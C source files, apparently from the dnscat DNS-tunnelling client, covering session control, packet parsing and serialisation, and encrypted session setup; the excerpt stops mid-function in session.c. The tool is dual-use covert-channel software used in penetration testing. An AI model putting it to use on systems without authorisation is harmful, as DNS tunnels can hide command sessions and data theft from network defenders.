124 if(!current_session)
125 return NULL;
126
127 /* Record our starting point. */
128 start = current_session;
129
130 /* Get the next session. */
131 do
132 {
133 current_session = current_session->next;
134
135 /* If we're at the end, go to the beginning. Also attempting a record for the
136 * number of NULL checks one a single pointer. */
137 if(!current_session)
138 current_session = first_session;
139
140 if(!session_is_shutdown(current_session->session))
141 return current_session->session;
142 }
143 while(current_session != start);
144
145 /* If we reached the starting point, there are no active sessions. */
146 return NULL;
147 }
148
149 NBBOOL controller_data_incoming(uint8_t *data, size_t length)
150 {
151 uint16_t session_id = packet_peek_session_id(data, length);
152 session_t *session = sessions_get_by_id(session_id);
153
154 /* If we weren't able to find a session, print an error and return. */
155 if(!session)
156 {
157 LOG_ERROR("Tried to access a non-existent session (%s): %d", __FUNCTION__, session_id);
158 return FALSE;
159 }
160
161 /* Pass the data onto the session. */
162 return session_data_incoming(session, data, length);
163 }
164
165 uint8_t *controller_get_outgoing(size_t *length, size_t max_length)
166 {
167 /* This needs to somehow be balanced. */
168 session_t *session = sessions_get_next_active();
169
170 if(!session)
171 {
172 /* TODO: Drop to a "probe for sessions" mode instead. */
173 LOG_FATAL("There are no active sessions left! Goodbye!");
174 exit(0);
175 return NULL;
176 }
177
178 return session_get_outgoing(session, length, max_length);
179 }
180
181 static void kill_ignored_sessions()
182 {
183 session_entry_t *entry = first_session;
184
185 if(max_retransmits < 0)
186 return;
187
188 while(entry)
189 {
190 if(!entry->session->is_shutdown && entry->session->missed_transmissions > max_retransmits)
191 {
192 LOG_ERROR("The server hasn't returned a valid response in the last %d attempts.. closing session.", entry->session->missed_transmissions - 1);
193 session_kill(entry->session);
194 }
195
196 entry = entry->next;
197 }
198 }
199
200 void controller_kill_all_sessions()
201 {
202 session_entry_t *entry = first_session;
203
204 while(entry)
205 {
206 if(!entry->session->is_shutdown)
207 session_kill(entry->session);
208 entry = entry->next;
209 }
210 }
211
212 /* This will be called something like every 50ms. */
213 void controller_heartbeat()
214 {
215 kill_ignored_sessions();
216 }
217
218 void controller_set_max_retransmits(int retransmits)
219 {
220 max_retransmits = retransmits;
221 }
222
223 void controller_destroy()
224 {
225 session_entry_t *prev_session = NULL;
226 session_entry_t *entry = first_session;
227
228 while(entry)
229 {
230 if(!entry->session->is_shutdown)
231 session_kill(entry->session);
232 session_destroy(entry->session);
233
234 prev_session = entry;
235 entry = entry->next;
236 safe_free(prev_session);
237 }
238 }
0 /**
1 * controller.h
2 * Created by Ron Bowes
3 * On April, 2015
4 *
5 * See LICENSE.md
6 *
7 * The controller basically keeps track of active sessions and passes data
8 * back and forth between the tunnel driver and the session. There is only
9 * ever a single instance of this.
10 */
11
12 #ifndef __CONTROLLER_H__
13 #define __CONTROLLER_H__
14
15 #include "libs/types.h"
16 #include "session.h"
17
18 size_t controller_open_session_count();
19 void controller_add_session(session_t *session);
20 NBBOOL controller_data_incoming(uint8_t *data, size_t length);
21 uint8_t *controller_get_outgoing(size_t *length, size_t max_length);
22 void controller_kill_all_sessions();
23 void controller_destroy();
24 void controller_heartbeat();
25 void controller_set_max_retransmits(int retransmits);
26
27 #endif
0 /* packet.c
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 */
5
6 #include <assert.h>
7 #include <stdio.h>
8 #include <stdlib.h>
9 #include <string.h>
10
11 #ifdef WIN32
12 #include "libs/pstdint.h"
13 #else
14 #include <stdint.h>
15 #endif
16
17 #include "libs/buffer.h"
18 #include "libs/log.h"
19 #include "libs/memory.h"
20
21 #include "packet.h"
22
23 packet_t *packet_parse(uint8_t *data, size_t length, options_t options)
24 {
25 packet_t *packet = (packet_t*) safe_malloc(sizeof(packet_t));
26 buffer_t *buffer = buffer_create_with_data(BO_BIG_ENDIAN, data, length);
27
28 /* Validate the size */
29 if(buffer_get_length(buffer) > MAX_PACKET_SIZE)
30 {
31 LOG_FATAL("Packet is too long: %zu bytes\n", buffer_get_length(buffer));
32 exit(1);
33 }
34
35 packet->packet_id = buffer_read_next_int16(buffer);
36 packet->packet_type = (packet_type_t) buffer_read_next_int8(buffer);
37 packet->session_id = buffer_read_next_int16(buffer);
38
39 switch(packet->packet_type)
40 {
41 case PACKET_TYPE_SYN:
42 packet->body.syn.seq = buffer_read_next_int16(buffer);
43 packet->body.syn.options = buffer_read_next_int16(buffer);
44 if(packet->body.syn.options & OPT_NAME)
45 packet->body.syn.name = buffer_alloc_next_ntstring(buffer);
46 break;
47
48 case PACKET_TYPE_MSG:
49 packet->body.msg.seq = buffer_read_next_int16(buffer);
50 packet->body.msg.ack = buffer_read_next_int16(buffer);
51 packet->body.msg.data = buffer_read_remaining_bytes(buffer, &packet->body.msg.data_length, -1, FALSE);
52 break;
53
54 case PACKET_TYPE_FIN:
55 packet->body.fin.reason = buffer_alloc_next_ntstring(buffer);
56 break;
57
58 case PACKET_TYPE_PING:
59 packet->body.ping.data = buffer_alloc_next_ntstring(buffer);
60 break;
61
62 #ifndef NO_ENCRYPTION
63 case PACKET_TYPE_ENC:
64 packet->body.enc.subtype = buffer_read_next_int16(buffer);
65 packet->body.enc.flags = buffer_read_next_int16(buffer);
66
67 switch(packet->body.enc.subtype)
68 {
69 case PACKET_ENC_SUBTYPE_INIT:
70 buffer_read_next_bytes(buffer, packet->body.enc.public_key, 64);
71 break;
72 case PACKET_ENC_SUBTYPE_AUTH:
73 buffer_read_next_bytes(buffer, packet->body.enc.authenticator, 32);
74 break;
75 }
76 break;
77 #endif
78
79 default:
80 LOG_FATAL("Error: unknown message type (0x%02x)\n", packet->packet_type);
81 exit(0);
82 }
83
84 buffer_destroy(buffer);
85
86 return packet;
87 }
88
89 uint16_t packet_peek_session_id(uint8_t *data, size_t length)
90 {
91 buffer_t *buffer = NULL;
92 uint16_t session_id = -1;
93
94 /* Create a buffer of the first 5 bytes. */
95 if(length < 5)
96 {
97 LOG_FATAL("Packet is too short!\n");
98 return -1;
99 }
100
101 /* Create a buffer with the first 5 bytes of data. */
102 buffer = buffer_create_with_data(BO_BIG_ENDIAN, data, 5);
103
104 /* Discard packet_id. */
105 buffer_consume(buffer, 2);
106
107 /* Discard packet_type. */
108 buffer_consume(buffer, 1);
109
110 /* Finally, get the session_id. */
111 session_id = buffer_read_next_int16(buffer);
112
113 /* Kill the buffer. */
114 buffer_destroy(buffer);
115
116 /* Done! */
117 return session_id;
118 }
119
120 packet_t *packet_create_syn(uint16_t session_id, uint16_t seq, options_t options)
121 {
122 packet_t *packet = (packet_t*) safe_malloc(sizeof(packet_t));
123
124 packet->packet_type = PACKET_TYPE_SYN;
125 packet->packet_id = rand() % 0xFFFF;
126 packet->session_id = session_id;
127 packet->body.syn.seq = seq;
128 packet->body.syn.options = options;
129
130 return packet;
131 }
132
133 void packet_syn_set_name(packet_t *packet, char *name)
134 {
135 if(packet->packet_type != PACKET_TYPE_SYN)
136 {
137 LOG_FATAL("Attempted to set the 'name' field of a non-SYN message\n");
138 exit(1);
139 }
140
141 /* Free the name if it's already set */
142 if(packet->body.syn.name)
143 safe_free(packet->body.syn.name);
144
145 packet->body.syn.options |= OPT_NAME;
146 packet->body.syn.name = safe_strdup(name);
147 }
148
149 void packet_syn_set_is_command(packet_t *packet)
150 {
151 if(packet->packet_type != PACKET_TYPE_SYN)
152 {
153 LOG_FATAL("Attempted to set the 'is_command' field of a non-SYN message\n");
154 exit(1);
155 }
156
157 /* Just set the field, we don't need anything else. */
158 packet->body.syn.options |= OPT_COMMAND;
159 }
160
161 packet_t *packet_create_msg(uint16_t session_id, uint16_t seq, uint16_t ack, uint8_t *data, size_t data_length)
162 {
163 packet_t *packet = (packet_t*) safe_malloc(sizeof(packet_t));
164
165 packet->packet_type = PACKET_TYPE_MSG;
166 packet->packet_id = rand() % 0xFFFF;
167 packet->session_id = session_id;
168 packet->body.msg.seq = seq;
169 packet->body.msg.ack = ack;
170 packet->body.msg.data = safe_memcpy(data, data_length);
171 packet->body.msg.data_length = data_length;
172
173 return packet;
174 }
175
176 packet_t *packet_create_fin(uint16_t session_id, char *reason)
177 {
178 packet_t *packet = (packet_t*) safe_malloc(sizeof(packet_t));
179
180 packet->packet_type = PACKET_TYPE_FIN;
181 packet->packet_id = rand() % 0xFFFF;
182 packet->session_id = session_id;
183 packet->body.fin.reason = safe_strdup(reason);
184
185 return packet;
186 }
187
188 packet_t *packet_create_ping(uint16_t session_id, char *data)
189 {
190 packet_t *packet = (packet_t*) safe_malloc(sizeof(packet_t));
191
192 packet->packet_type = PACKET_TYPE_PING;
193 packet->packet_id = rand() % 0xFFFF;
194 packet->session_id = session_id;
195 packet->body.ping.data = safe_strdup(data);
196
197 return packet;
198 }
199
200 #ifndef NO_ENCRYPTION
201 packet_t *packet_create_enc(uint16_t session_id, uint16_t flags)
202 {
203 packet_t *packet = (packet_t*) safe_malloc(sizeof(packet_t));
204
205 packet->packet_type = PACKET_TYPE_ENC;
206 packet->packet_id = rand() % 0xFFFF;
207 packet->session_id = session_id;
208 packet->body.enc.subtype = -1;
209
210 return packet;
211 }
212
213 void packet_enc_set_init(packet_t *packet, uint8_t *public_key)
214 {
215 if(packet->packet_type != PACKET_TYPE_ENC)
216 {
217 LOG_FATAL("Attempted to set encryption options for a non-ENC message\n");
218 exit(1);
219 }
220
221 packet->body.enc.subtype = PACKET_ENC_SUBTYPE_INIT;
222 memcpy(packet->body.enc.public_key, public_key, 64);
223 }
224
225 void packet_enc_set_auth(packet_t *packet, uint8_t *authenticator)
226 {
227 if(packet->packet_type != PACKET_TYPE_ENC)
228 {
229 LOG_FATAL("Attempted to set encryption options for a non-ENC message\n");
230 exit(1);
231 }
232
233 packet->body.enc.subtype = PACKET_ENC_SUBTYPE_AUTH;
234 memcpy(packet->body.enc.authenticator, authenticator, 32);
235 }
236 #endif
237
238 size_t packet_get_msg_size(options_t options)
239 {
240 static size_t size = 0;
241
242 /* If the size isn't known yet, calculate it. */
243 if(size == 0)
244 {
245 packet_t *p;
246
247 p = packet_create_msg(0, 0, 0, (uint8_t *)"", 0);
248 safe_free(packet_to_bytes(p, &size, options));
249 packet_destroy(p);
250 }
251
252 return size;
253 }
254
255 size_t packet_get_ping_size()
256 {
257 static size_t size = 0;
258
259 /* If the size isn't known yet, calculate it. */
260 if(size == 0)
261 {
262 packet_t *p = packet_create_ping(0, "");
263 uint8_t *data = packet_to_bytes(p, &size, (options_t)0);
264 safe_free(data);
265 packet_destroy(p);
266 }
267
268 return size;
269 }
270
271 /* TODO: This is a little hacky - converting it to a bytestream and back to
272 * clone - but it's by far the easiest way! */
273 packet_t *packet_clone(packet_t *packet, options_t options)
274 {
275 uint8_t *packet_bytes = NULL;
276 size_t packet_length = -1;
277 packet_t *result;
278
279 packet_bytes = packet_to_bytes(packet, &packet_length, options);
280 result = packet_parse(packet_bytes, packet_length, options);
281 safe_free(packet_bytes);
282 return result;
283 }
284
285 uint8_t *packet_to_bytes(packet_t *packet, size_t *length, options_t options)
286 {
287 buffer_t *buffer = buffer_create(BO_BIG_ENDIAN);
288
289 buffer_add_int16(buffer, packet->packet_id);
290 buffer_add_int8(buffer, packet->packet_type);
291 buffer_add_int16(buffer, packet->session_id);
292
293 switch(packet->packet_type)
294 {
295 case PACKET_TYPE_SYN:
296 buffer_add_int16(buffer, packet->body.syn.seq);
297 buffer_add_int16(buffer, packet->body.syn.options);
298
299 if(packet->body.syn.options & OPT_NAME)
300 buffer_add_ntstring(buffer, packet->body.syn.name);
301
302 break;
303
304 case PACKET_TYPE_MSG:
305 buffer_add_int16(buffer, packet->body.msg.seq);
306 buffer_add_int16(buffer, packet->body.msg.ack);
307 buffer_add_bytes(buffer, packet->body.msg.data, packet->body.msg.data_length);
308 break;
309
310 case PACKET_TYPE_FIN:
311 buffer_add_ntstring(buffer, packet->body.fin.reason);
312 break;
313
314 case PACKET_TYPE_PING:
315 buffer_add_ntstring(buffer, packet->body.ping.data);
316 break;
317
318 #ifndef NO_ENCRYPTION
319 case PACKET_TYPE_ENC:
320 buffer_add_int16(buffer, packet->body.enc.subtype);
321 buffer_add_int16(buffer, packet->body.enc.flags);
322
323 if(packet->body.enc.subtype == PACKET_ENC_SUBTYPE_INIT)
324 {
325 buffer_add_bytes(buffer, packet->body.enc.public_key, 64);
326 }
327 else if(packet->body.enc.subtype == PACKET_ENC_SUBTYPE_AUTH)
328 {
329 buffer_add_bytes(buffer, packet->body.enc.authenticator, 32);
330 }
331 else if(packet->body.enc.subtype == -1)
332 {
333 LOG_FATAL("Error: One of the packet_enc_set_*() functions have to be called!");
334 exit(1);
335 }
336 else
337 {
338 LOG_FATAL("Error: Unknown encryption subtype: 0x%04x", packet->body.enc.subtype);
339 exit(1);
340 }
341 break;
342 #endif
343
344 default:
345 LOG_FATAL("Error: Unknown message type: %u\n", packet->packet_type);
346 exit(1);
347 }
348
349 return buffer_create_string_and_destroy(buffer, length);
350 }
351
352 void packet_print(packet_t *packet, options_t options)
353 {
354 if(packet->packet_type == PACKET_TYPE_SYN)
355 {
356 printf("Type = SYN :: [0x%04x] session = 0x%04x, seq = 0x%04x, options = 0x%04x", packet->packet_id, packet->session_id, packet->body.syn.seq, packet->body.syn.options);
357 }
358 else if(packet->packet_type == PACKET_TYPE_MSG)
359 {
360 printf("Type = MSG :: [0x%04x] session = 0x%04x, seq = 0x%04x, ack = 0x%04x, data = 0x%x bytes", packet->packet_id, packet->session_id, packet->body.msg.seq, packet->body.msg.ack, (unsigned int)packet->body.msg.data_length);
361 }
362 else if(packet->packet_type == PACKET_TYPE_FIN)
363 {
364 printf("Type = FIN :: [0x%04x] session = 0x%04x :: %s", packet->packet_id, packet->session_id, packet->body.fin.reason);
365 }
366 else if(packet->packet_type == PACKET_TYPE_PING)
367 {
368 printf("Type = PING :: [0x%04x] data = %s", packet->packet_id, packet->body.ping.data);
369 }
370 #ifndef NO_ENCRYPTION
371 else if(packet->packet_type == PACKET_TYPE_ENC)
372 {
373 printf("Type = ENC :: [0x%04x] session = 0x%04x", packet->packet_id, packet->session_id);
374 }
375 #endif
376 else
377 {
378 printf("Unknown packet type!");
379 }
380 }
381
382 void packet_destroy(packet_t *packet)
383 {
384 if(packet->packet_type == PACKET_TYPE_SYN)
385 {
386 if(packet->body.syn.name)
387 safe_free(packet->body.syn.name);
388 }
389
390 if(packet->packet_type == PACKET_TYPE_MSG)
391 {
392 if(packet->body.msg.data)
393 safe_free(packet->body.msg.data);
394 }
395
396 if(packet->packet_type == PACKET_TYPE_FIN)
397 {
398 if(packet->body.fin.reason)
399 safe_free(packet->body.fin.reason);
400 }
401
402 if(packet->packet_type == PACKET_TYPE_PING)
403 {
404 if(packet->body.ping.data)
405 safe_free(packet->body.ping.data);
406 }
407
408 #ifndef NO_ENCRYPTION
409 if(packet->packet_type == PACKET_TYPE_ENC)
410 {
411 /* Nothing was allocated. */
412 }
413 #endif
414
415 safe_free(packet);
416 }
417
418 char *packet_type_to_string(packet_type_t type)
419 {
420 switch(type)
421 {
422 case PACKET_TYPE_SYN:
423 return "SYN";
424 case PACKET_TYPE_MSG:
425 return "MSG";
426 case PACKET_TYPE_FIN:
427 return "FIN";
428 case PACKET_TYPE_PING:
429 return "PING";
430 #ifndef NO_ENCRYPTION
431 case PACKET_TYPE_ENC:
432 return "ENC";
433 #endif
434 case PACKET_TYPE_COUNT_NOT_PING:
435 return "Unknown!";
436 }
437
438 return "Unknown";
439 }
0 /* packet.h
1 * By Ron Bowes
2 * Created March, 2013
3 *
4 * See LICENSE.md
5 *
6 * A class for creating and parsing dnscat packets. This is part of the
7 * "dnscat protocol", it's assumed that the packets are already marshalled
8 * and unmarshalled by a tunnelling protocol.
9 */
10
11 #ifndef __PACKET_H__
12 #define __PACKET_H__
13
14 #include <stdlib.h>
15
16 #ifdef WIN32
17 #include "libs/pstdint.h"
18 #else
19 #include <stdint.h>
20 #endif
21
22 #define MAX_PACKET_SIZE 1024
23
24 typedef enum
25 {
26 PACKET_TYPE_SYN = 0x00,
27 PACKET_TYPE_MSG = 0x01,
28 PACKET_TYPE_FIN = 0x02,
29 #ifndef NO_ENCRYPTION
30 PACKET_TYPE_ENC = 0x03,
31 #endif
32 PACKET_TYPE_COUNT_NOT_PING,
33
34 PACKET_TYPE_PING = 0xFF,
35
36 } packet_type_t;
37
38 char *packet_type_to_string(packet_type_t type);
39
40 typedef enum
41 {
42 PACKET_ENC_SUBTYPE_INIT = 0x00,
43 PACKET_ENC_SUBTYPE_AUTH = 0x01,
44 } packet_enc_subtype_t;
45
46 typedef struct
47 {
48 uint16_t seq;
49 uint16_t options;
50 char *name;
51 } syn_packet_t;
52
53 typedef enum
54 {
55 OPT_NAME = 0x0001,
56 /* OPT_TUNNEL = 2, // Deprecated */
57 /* OPT_DATAGRAM = 4, // Deprecated */
58 /* OPT_DOWNLOAD = 8, // Deprecated */
59 /* OPT_CHUNKED_DOWNLOAD = 16, // Deprecated */
60 OPT_COMMAND = 0x0020,
61 } options_t;
62
63 typedef struct
64 {
65 uint16_t seq;
66 uint16_t ack;
67 } normal_msg_t;
68
69 typedef struct
70 {
71 uint16_t seq;
72 uint16_t ack;
73 uint8_t *data;
74 size_t data_length;
75 } msg_packet_t;
76
77 typedef struct
78 {
79 char *reason;
80 } fin_packet_t;
81
82 typedef struct
83 {
84 char *data;
85 } ping_packet_t;
86
87 #ifndef NO_ENCRYPTION
88 typedef struct
89 {
90 packet_enc_subtype_t subtype;
91 uint16_t flags;
92
93 uint8_t public_key[64];
94
95 uint8_t authenticator[32];
96 } enc_packet_t;
97 #endif
98
99 typedef struct
100 {
101 uint16_t packet_id;
102 packet_type_t packet_type;
103 uint16_t session_id;
104
105 union
106 {
107 syn_packet_t syn;
108 msg_packet_t msg;
109 fin_packet_t fin;
110 ping_packet_t ping;
111 #ifndef NO_ENCRYPTION
112 enc_packet_t enc;
113 #endif
114 } body;
115 } packet_t;
116
117 /* Parse a packet from a byte stream. */
118 packet_t *packet_parse(uint8_t *data, size_t length, options_t options);
119
120 /* Just get the session_id. */
121 uint16_t packet_peek_session_id(uint8_t *data, size_t length);
122
123 /* Create a packet with the given characteristics. */
124 packet_t *packet_create_syn(uint16_t session_id, uint16_t seq, options_t options);
125 packet_t *packet_create_msg(uint16_t session_id, uint16_t seq, uint16_t ack, uint8_t *data, size_t data_length);
126 packet_t *packet_create_fin(uint16_t session_id, char *reason);
127 packet_t *packet_create_ping(uint16_t session_id, char *data);
128
129 #ifndef NO_ENCRYPTION
130 packet_t *packet_create_enc(uint16_t session_id, uint16_t flags);
131 #endif
132
133 /* Set the OPT_NAME field and add a name value. */
134 void packet_syn_set_name(packet_t *packet, char *name);
135
136 /* Set the OPT_COMMAND flag */
137 void packet_syn_set_is_command(packet_t *packet);
138
139 #ifndef NO_ENCRYPTION
140 /* Set up an encrypted session. */
141 void packet_enc_set_init(packet_t *packet, uint8_t *public_key);
142
143 /* Authenticate with a PSK. */
144 void packet_enc_set_auth(packet_t *packet, uint8_t *authenticator);
145 #endif
146
147 /* Get minimum packet sizes so we can avoid magic numbers. */
148 size_t packet_get_msg_size(options_t options);
149 size_t packet_get_ping_size();
150
151 /* Free the packet data structures. */
152 void packet_destroy(packet_t *packet);
153
154 /* Print the packet (debugging, mostly) */
155 void packet_print(packet_t *packet, options_t options);
156
157 /* Needs to be freed with safe_free() */
158 uint8_t *packet_to_bytes(packet_t *packet, size_t *length, options_t options);
159
160 /* Create a new copy of the packet. */
161 packet_t *packet_clone(packet_t *packet, options_t options);
162
163 #endif
0 /* session.c
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 */
5
6 #include <assert.h>
7 #include <stdio.h>
8 #include <stdlib.h>
9 #include <string.h>
10
11 #ifndef WIN32
12 #include <unistd.h>
13 #include <sys/time.h>
14 #endif
15
16 #include "controller/packet.h"
17 #include "libs/buffer.h"
18 #include "libs/log.h"
19 #include "libs/memory.h"
20 #include "libs/select_group.h"
21
22 #ifndef NO_ENCRYPTION
23 #include "libs/crypto/encryptor.h"
24 #endif
25
26 #include "session.h"
27
28 /* Allow the user to override the initial sequence number. */
29 static uint32_t isn = 0xFFFFFFFF;
30
31 /* Enable/disable packet tracing. */
32 static NBBOOL packet_trace;
33
34 /* The amount of delay between packets. */
35 static int packet_delay = 1000;
36
37 /* Transmit instantly when data is received. */
38 static NBBOOL transmit_instantly_on_data = TRUE;
39
40 #ifndef NO_ENCRYPTION
41 /* Should we set up encryption? */
42 static NBBOOL do_encryption = TRUE;
43
44 /* Pre-shared secret (used for authentication) */
45 static char *preshared_secret = NULL;
46 #endif
47
48 /* Define a handler function pointer. */
49 typedef NBBOOL(packet_handler)(session_t *session, packet_t *packet);
50
51 #ifndef NO_ENCRYPTION
52 static NBBOOL should_we_encrypt(session_t *session)
53 {
54 return do_encryption && (session->state != SESSION_STATE_BEFORE_INIT);
55 }
56 #endif
57
58 static uint64_t time_ms()
59 {
60 #ifdef WIN32
61 FILETIME ft;
62 GetSystemTimeAsFileTime(&ft);
63
64 return ((uint64_t)ft.dwLowDateTime + ((uint64_t)(ft.dwHighDateTime) << 32LL)) / 10000;
65 #else
66 struct timeval tv;
67 gettimeofday(&tv, NULL);
68 return (tv.tv_sec) * 1000 + (tv.tv_usec) / 1000 ;
69 #endif
70 }
71
72 /* Decide whether or not we should transmit data yet. */
73 static NBBOOL can_i_transmit_yet(session_t *session)
74 {
75 if(time_ms() - session->last_transmit > packet_delay)
76 return TRUE;
77 return FALSE;
78 }
79
80 static void you_can_transmit_now(session_t *session)
81 {
82 session->last_transmit = 0;
83 }
84
85 /* Polls the driver for data and puts it in our own buffer. This is necessary
86 * because the session needs to ACK data and such. */
87 static void poll_driver_for_data(session_t *session)
88 {
89 size_t length = -1;
90
91 /* Read all the data we can. */
92 uint8_t *data = driver_get_outgoing(session->driver, &length, -1);
93
94 /* If a driver returns NULL, it means it's done - once the driver is
95 * done and all our data is sent, go into 'shutdown' mode. */
96 if(!data)
97 {
98 if(buffer_get_remaining_bytes(session->outgoing_buffer) == 0)
99 session_kill(session);
100 }
101 else
102 {
103 if(length)
104 buffer_add_bytes(session->outgoing_buffer, data, length);
105
106 safe_free(data);
107 }
108 }
109
110 uint8_t *session_get_outgoing(session_t *session, size_t *packet_length, size_t max_length)
111 {
112 packet_t *packet = NULL;
113 uint8_t *packet_bytes = NULL;
114 uint8_t *data = NULL;
115 size_t data_length = -1;
116
117 /* Suck in any data we can from the driver. */
118 poll_driver_for_data(session);
119
120 /* Don't transmit too quickly without receiving anything. */
121 if(!can_i_transmit_yet(session))
122 return NULL;
123
124 #ifndef NO_ENCRYPTION
125 /* If we're in encryption mode, we have to save 8 bytes for the encrypted_packet header. */
126 if(should_we_encrypt(session))
127 {
128 max_length -= 8;
129
130 if(max_length <= 0)
131 {
132 LOG_FATAL("There isn't enough room in this protocol to encrypt packets!");
133 exit(1);
134 }
135 }
136 #endif
137
138 /* It's pretty ugly, but I don't see any other way, since ping requires
139 * special packets we have to handle it separately. */
140 if(session->is_ping)
141 {
142 /* Read data without consuming it (ie, leave it in the buffer till it's ACKed) */
143 data = buffer_read_remaining_bytes(session->outgoing_buffer, &data_length, max_length - packet_get_ping_size(), FALSE);
144 packet = packet_create_ping(session->id, (char*)data);
145 safe_free(data);
146
147 LOG_INFO("In PING, sending a PING packet (%zd bytes of data...)", data_length);
148 }
149 else
150 {
151 switch(session->state)
152 {
153 #ifndef NO_ENCRYPTION
154 case SESSION_STATE_BEFORE_INIT:
155 packet = packet_create_enc(session->id, 0);
156 packet_enc_set_init(packet, session->encryptor->my_public_key);
157 break;
158
159 case SESSION_STATE_BEFORE_AUTH:
160 packet = packet_create_enc(session->id, 0);
161 packet_enc_set_auth(packet, session->encryptor->my_authenticator);
162 break;
163 #endif
164
165 case SESSION_STATE_NEW:
166 packet = packet_create_syn(session->id, session->my_seq, (options_t)0);
167
168 if(session->is_command)
169 packet_syn_set_is_command(packet);
170
171 if(session->name)
172 packet_syn_set_name(packet, session->name);
173
174 break;
175
176 case SESSION_STATE_ESTABLISHED:
177 /* Re-negotiate encryption if we have to */
178 #ifndef NO_ENCRYPTION
179 if(should_we_encrypt(session))
180 {
181 if(encryptor_should_we_renegotiate(session->encryptor))
182 {
183 if(session->new_encryptor)
184 {
185 LOG_FATAL("The server didn't respond to our re-negotiation request! Waiting...");
186 return FALSE;
187 }
188
189 LOG_WARNING("Wow, this session is old! Time to re-negotiate encryption keys!");
190
191 /* Create a new encryptor. */
192 session->new_encryptor = encryptor_create(preshared_secret);
193
194 packet = packet_create_enc(session->id, 0);
195 packet_enc_set_init(packet, session->new_encryptor->my_public_key);
196
197 break;
198 }
199 }
200 #endif
201 /* Read data without consuming it (ie, leave it in the buffer till it's ACKed) */
202 data = buffer_read_remaining_bytes(session->outgoing_buffer, &data_length, max_length - packet_get_msg_size(session->options), FALSE);
203 LOG_INFO("In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0x%04x, ACK = 0x%04x, %zd bytes of data...)", session->my_seq, session->their_seq, data_length);
204
205 if(data_length == 0 && session->is_shutdown)
206 packet = packet_create_fin(session->id, "Stream closed");
207 else
208 packet = packet_create_msg(session->id, session->my_seq, session->their_seq, data, data_length);
209
210 safe_free(data);
211
212 break;
213
214 default:
215 LOG_FATAL("Wound up in an unknown state: 0x%x", session->state);
216 exit(1);
217 }
218 }
219
220 if(packet)
221 {
222 if(packet_trace)
223 {
224 printf("OUTGOING: ");
225 packet_print(packet, session->options);
226 printf("\n");
227 }
228
229 packet_bytes = packet_to_bytes(packet, packet_length, session->options);
230 packet_destroy(packet);
231
232 #ifndef NO_ENCRYPTION
233 if(should_we_encrypt(session))
234 {
235 buffer_t *packet_buffer = buffer_create(BO_BIG_ENDIAN);
236
237 buffer_add_bytes(packet_buffer, packet_bytes, *packet_length);
238 safe_free(packet_bytes);
239
240 encryptor_encrypt_buffer(session->encryptor, packet_buffer);
241 encryptor_sign_buffer(session->encryptor, packet_buffer);
242
243 packet_bytes = buffer_create_string_and_destroy(packet_buffer, packet_length);
244 }
245 #endif
246
247 session->last_transmit = time_ms();
248 session->missed_transmissions++;
249 }
250
251 return packet_bytes;
252 }
253
254 #ifndef NO_ENCRYPTION
255 static NBBOOL _handle_enc_before_init(session_t *session, packet_t *packet)
256 {
257 if(packet->body.enc.subtype != PACKET_ENC_SUBTYPE_INIT)
258 {
259 LOG_FATAL("Received an unexpected encryption packet for this state: 0x%04x!", packet->body.enc.subtype);
260 exit(1);
261 }
262
263 if(!encryptor_set_their_public_key(session->encryptor, packet->body.enc.public_key))
264 {
265 LOG_FATAL("Failed to calculate a shared secret!");
266 exit(1);
267 }
268
269 if(LOG_LEVEL_INFO >= log_get_min_console_level())
270 encryptor_print(session->encryptor);
271
272 if(preshared_secret)
273 {
274 session->state = SESSION_STATE_BEFORE_AUTH;
275 }
276 else
277 {
278 session->state = SESSION_STATE_NEW;
279
280 printf("\n");
281 printf("Encrypted session established! For added security, please verify the server also displays this string:\n");
282 printf("\n");
283 encryptor_print_sas(session->encryptor);
284 printf("\n");
285 }
286
287 return TRUE;
288 }
289
290 static NBBOOL _handle_enc_renegotiate(session_t *session, packet_t *packet)
291 {
292 if(packet->body.enc.subtype != PACKET_ENC_SUBTYPE_INIT)
293 {
294 LOG_FATAL("Received an unexpected encryption packet for this state: 0x%04x!", packet->body.enc.subtype);
295 exit(1);
296 }
297
298 if(!session->encryptor)
299 {
300 LOG_FATAL("Received an unexpected renegotiation from the server!");
301 exit(1);
302 }
303
304 if(!encryptor_set_their_public_key(session->new_encryptor, packet->body.enc.public_key))
305 {
306 LOG_FATAL("Failed to calculate a shared secret for renegotiation!");
307 exit(1);
308 }
309
310 LOG_WARNING("Server responded to re-negotiation request! Switching to new keys!");
311
312 /* Kill the old encryptor and replace it with the new one. */
313 encryptor_destroy(session->encryptor);
314 session->encryptor = session->new_encryptor;
315 session->new_encryptor = NULL;
316
317 if(LOG_LEVEL_INFO >= log_get_min_console_level())
318 encryptor_print(session->encryptor);
319
320 return TRUE;
321 }
322
323 static NBBOOL _handle_enc_before_auth(session_t *session, packet_t *packet)
324 {
325 if(packet->body.enc.subtype != PACKET_ENC_SUBTYPE_AUTH)
326 {
327 LOG_FATAL("Received an unexpected encryption packet for this state: 0x%04x!", packet->body.enc.subtype);
328 exit(1);
329 }
330
331 /* Check their authenticator. */
332 if(memcmp(packet->body.enc.authenticator, session->encryptor->their_authenticator, 32))
333 {
334 LOG_FATAL("Their authenticator was wrong! That likely means something weird is happening on the newtork...");
335 exit(1);
336 }
337
338 printf("\n");
339 printf("** Peer verified with pre-shared secret!\n");
340 printf("\n");
341
342 session->state = SESSION_STATE_NEW;
343
344 return TRUE;
345 }
346 #endif
347
348 static NBBOOL _handle_syn_new(session_t *session, packet_t *packet)
349 {
350 session->their_seq = packet->body.syn.seq;
351 session->options = (options_t) packet->body.syn.options;
352
353 /* We can send a response right away */
354 you_can_transmit_now(session);
355
356 /* We can reset the transmission counter. */
357 session->missed_transmissions = 0;
358
359 /* Update the state. */
360 session->state = SESSION_STATE_ESTABLISHED;
361
362 printf("Session established!\n");
363
364 return TRUE;
365 }
366
367 static NBBOOL _handle_msg_established(session_t *session, packet_t *packet)
368 {
369 NBBOOL send_right_away = FALSE;
370
371 LOG_INFO("In SESSION_STATE_ESTABLISHED, received a MSG");
372
373 /* Validate the SEQ */
374 if(packet->body.msg.seq == session->their_seq)
375 {
376 /* Verify the ACK is sane */
377 uint16_t bytes_acked = packet->body.msg.ack - session->my_seq;
378
379 /* If there's still bytes waiting in the buffer.. */
380 if(bytes_acked <= buffer_get_remaining_bytes(session->outgoing_buffer))
381 {
382 /* Since we got a valid response back, the connection isn't dying. */
383 session->missed_transmissions = 0;
384
385 /* Reset the retransmit counter since we got some valid data. */
386 if(bytes_acked > 0)
387 {
